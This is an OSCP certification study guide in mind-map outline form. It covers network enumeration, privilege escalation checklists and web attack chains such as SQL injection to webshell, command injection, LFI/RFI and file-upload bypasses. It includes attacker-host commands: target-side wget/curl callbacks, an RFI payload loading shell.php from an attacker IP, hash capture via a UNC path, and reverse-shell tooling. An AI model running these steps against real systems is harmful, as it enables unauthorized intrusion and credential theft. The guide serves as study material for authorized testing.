OSCP Guide 2021

@Mr.r0b07

Telegram: https://t.me/R0B077

Network Enum

- **21/FTP**
  - Anonymous Login
    - File Read — Possible Any confidential Information
    - File Write
      - Possible Filewrite to access through Web
      - FTP to file upload ==> Execute from web == webshell
  - Password Checking if you found with other enum
- **22/SSH** — Password Checking if you found with other enum
- **25/SMTP** — Username Enumration which can be chained to other vulnerability
- **80|443/HTTP/S**
  - Gobuster
    - DIR — For finding hidden directories and files
    - DNS — For finding Subdomains
  - NIKTO — Having quick information for the web stuff
- **139|445/SMB**
  - Null Session (Accessing Without Cred)
    - Read Permission — Possible Confidential file to be available
    - Write Permission — Possible file uplaod to execute through web service
    - Tools
      - smbmap — For checking What are the shares to available with permission information
      - smbclient — For connecting to SMB server for accessing those shares which are available to access
  - Guest Session (Accessing with any username)
    - Read Permission — Possible Confidential file to be available
    - Write Permission — Possible file uplaod to execute through web service
    - Tools
      - smbmap — For checking What are the shares to available with permission information
      - smbclient — For connecting to SMB server for accessing those shares which are available to access
- **135/RPC**
  - USERname Enumaration
  - Tool — RPCCLIENT
  - (rpcclient -U '%' -N <IP>)
- **2049/NFS** — Open NFS share
  - Read Access — Possible Confidential file to be available
  - Write Access — Possible file uplaod to execute through web service
  - Tools
    - mount — For mounting Share available
    - showmount — For finding shares available
- **3306/MYSQL** — If not (Unauthorized)
  - Try login without password
  - can be used for checking passwords found via diffrent service
  - Tools — mysql (Client)
- **5985|5986/WINRM/S** — Remotly Windows Machine Access
  - With Password
  - With Hash
  - (Evil-Winrm(Tool))
- **161/SNMP**
  - Access Critical information about target system
  - Tools
    - snmp-check
    - snmpwalk
- **53/DNS** — Can be used for getting information about subdomains

Privilege Escalation

- **Windows**
  - Manual Approaches
    - 1) Check low privilege Shell permission (whoami /priv) and try exploiting vuln X
    - 2) Check Software Installation Directory And find suspecious programs that are installed (Read Name carefully)
    - 3) Check for Weak permissions in services and its binpath
    - 4) Check for Unquoted Service Path Vulnerability
    - 5) Check For Service Registry permissions
    - 6) Check Scheduled Tasks
  - Automated (best for beginners)
    - PowerUp (Fails to Check Vulnerable Softwares)
    - WinPEAS
- **Unix**
  - Manual Approaches
    - Check For Sudoers Misconfigurations
    - Check For SUID permissions
    - Check Services Running on root
    - Check Internal Ports
    - Check ports blocked by firewall
    - Check Kernal Version and exploits
  - Automated (best for beginners)
    - LSE (best)
    - linPEAS
    - lin Enum

Exploitation

- **Modifications**
  - Automated Exploits
    - Path Sometimes Changed
    - using Alternative command (SHELLCODE)
    - Making Dev-Exploits to final (Sometime Exploits Contains proxies configurations)
    - Solving errors
  - Instruction Based Exploits
    - Find Automated one
    - read and understand complete
    - use logics as most of the time instruction based exploits requires to fully understand concepts
    - Needs less modifications but it requires like. changing path or maybe finding path
- **Finding Alternatives**
  - Search on google with CVE number and find blogs, exploits from github, papers etc.
  - searchsploit will help for quick list all thoses
- **Exploiting With right way**
  - try all exploits if no version information disclosed as sometimes its obfuscated
  - Focus on critical vulnerabilities more
- **BufferOverflow**
  - Practice more on Vanilla B0f AKA stack based b0f

Web-Enum

- **Vulnerabilities Specific**
  - **SQLinjection**
    - **TO SHELL** — **FILE Pemission**
      - By Reading Files
        - SSH Private Keys — To get information about users read /etc/passwd
        - PayloadAllTheThings LFI list for finding other critical information
        - Function — LOAD_FILE('<FILE LOCATION>')
      - By Writing Files
        - Webshell Writing in Web-Hosting Directory (To Find WebHosting Directory Use LFI list)
        - For Windows use \\<Attacker IP>\sharename\anyfilename to get hash for the user (Responder tool)
        - Function
          - into dumpfile '<FILE LOCATION>' (Binary Mode)
          - into outfile '<FILE LOCATION>' (Ascii mode)
        - Webshells which can be used
          - Windows
            - Oneliner (Priority)
            - P0wnyShell
            - b374k
          - Linux
            - Oneliner (Priority)
            - P0wnyShell
            - b374k
    - **To Get Information about Databases, Tables** — Find Username password & try same with other services like ssh,winrm,etc
  - **Command Injection**
    - **Check**
      - Vulnerability Exsist
        - Windows
          - Attacker — tcpdump -i <tun0> -n ICMP
          - Target — Ping -c 1 <Attacker IP>
        - Linux
          - Attacker — tcpdump -i <tun0> -n ICMP
          - Target — Ping -n 1 <Attacker IP>
      - Port which can be used for Getting LAN shell (If recived connection to the port use that for getting reverse shell)
        - Windows
          - Attacker — Python3 -m http.server <PORT to test>
          - Target — Powershell wget http://<AttackerIP-PORT/test>
        - Linux
          - Attacker — Python3 -m http.server <PORT to test>
          - Target
            - wget http://<Attacker IP>:PORT/test
            - curl http://<Attacker IP>:PORT/test
        - Common Ports which works all the time
          - Windows — 21,22,25,80,443,445,53,123 (Priority 445)
          - Linux — 21,22,25,80,443,445,53,123 (Priority 22)
    - **Exploit**
      - Web-shell method
        - Use wget command to write a web-shell to the web-hosting directory
        - Using Curl command Writing Web-shell in web-hosting directory
      - LAN-Shell Method — After Checking if ping is working and port connection verified (IMP)
        - Windows
          - mkpsrevshell
          - Powershell Nishang shell
          - nc.exe upload
        - Linux
          - nc
          - python
          - ruby
          - bash
          - many
        - (Google Linux Reverse Shell CheetSheet)
  - **LFI**
    - **TO SHELL**
      - **log poisioning**
        - Try to access logs for the diffrent serivces running i.e ftp,smb,http
        - If any of the log file is accesibble check if your input is reflacting
        - to get log files location use LFI list
      - **Session Poisioning**
        - Try accessing session file
        - To get session file location
          - Payload All The things
          - <?php echo session_save_path(); ?> (On any linux Machines)
        - Add your session id (IMP) — Read your cookie value and modify same with file name
    - **Reading Confidential File**
      - SSH Private Key — For getting user location read /etc/passwd
      - Config Files — Use payloadallthethings LFI list
  - **RFI**
    - **Start with** — **Port which can be used for Getting LAN shell**
      - Windows
        - Attacker — Python3 -m http.server <PORT to test>
        - Target — change RFI param value to http://<Attacker_IP:PORT>/test
      - Linux
        - Attacker — Python3 -m http.server <PORT to test>
        - Target — change RFI param value to http://<Attacker_IP:PORT>/test
      - Common Ports which works all the time
        - Windows — 21,22,25,80,443,445,53,123 (Priority 445)
        - Linux — 21,22,25,80,443,445,53,123 (Priority 22)
    - **Once Port found to be used**
      - Windows
        - Google windows php reverse shell and use that
        - Oneliner (best)
      - Linux
        - google Linux php reverse shell and use that
        - Oneliner (best)
      - TIPS (? And & makes a huge diffrence)
        - payload should be — http://<Attacker_IP>:<PORT>/shell.php&cmd=whoami
        - payload should not be — http://<Attacker_IP>:<PORT>/shell.php?cmd=whoami
  - **File Upload**
    - **Uploading File**
      - **php** (Windows IIS & Apacher httpd)
        - **shells**
          - oneliner
          - p0wny
          - b374k
          - meterpreter
        - **bypasses**
          - magic bytes bypass — Modify first few bytes or signature with png signature
          - file extension bypass AKA double extensions
            - use double extension as below
            - php.png
            - php.jpeg
            - php.gif
          - Similar extensions — php/php4/php5/phtml
          - File Size check (client check only)
            - If data sends file size param modify value to something which is higer
            - use oneliner or smaller shells
          - Content type Check — Intercept request through burp
            - Check for the content type header and modify as below
            - image/png
            - image/jpeg
            - image/gif
            - text/plain
      - **asp/aspx** (Windows IIS server)
        - Shells
          - Google ASPX shell and use those webshell and follow web-shell to lan shell method as shows earlier
          - create ASP/X reverse shell with msfvenom
        - Bypasses
          - Content type Check — Intercept request through burp
            - Check for the content type header and modify as below
            - image/png
            - image/jpeg
            - image/gif
            - text/plain
          - File Size check (client check only)
            - If data sends file size param modify value to something which is higer
            - use oneliner or smaller shells
      - **jsp** (For Apache Tomcat)
        - Shells — Google jsp shell and use those webshell and follow web-shell to lan shell method as shows earlier
        - Bypasses — Create JSP shell with msfvenom and use that
    - **Accesing File**
      - **gobuster**
        - Do a dictionary based attack to find all the hidden directory
        - gobuster dir -w <wordlist> -u http://<IP>:PORT/ -t 100
      - **ffuf**
        - Do fuzzing with dictionary based attack
        - ffuf -w <wordlist -u http://<IP:PORT>/FUZZ/filename_you_uploaded.php -t 100 -fc 200
      - **Best Directory wordlist**
        - seclist
          - directory list 2-3 big.txt
          - raft wordlist
        - wordlist — dirbuster directory list 2.3 big or medium
- **CMS**
  - Finding
    - Source Code
    - Login page
    - Comments
  - Validating
    - Dont use any exploit which is related to xss/xsrf and so on focus on vulnerability which i mentioned up
    - Try finding github exploits as those are better sometimes
    - Don't trust versions everytime
  - Exploiting (follow earlier topic checks and validation)
    - validate first
    - use right port to get LAN shell
- **Wordpress** — WPscan — read manual
- **Other**
  - Custom exploits takes place here you might have to find vulnerability on your own from the list above
  - X-Forwarded-For to accesing 403 page

XMind | Trial Mode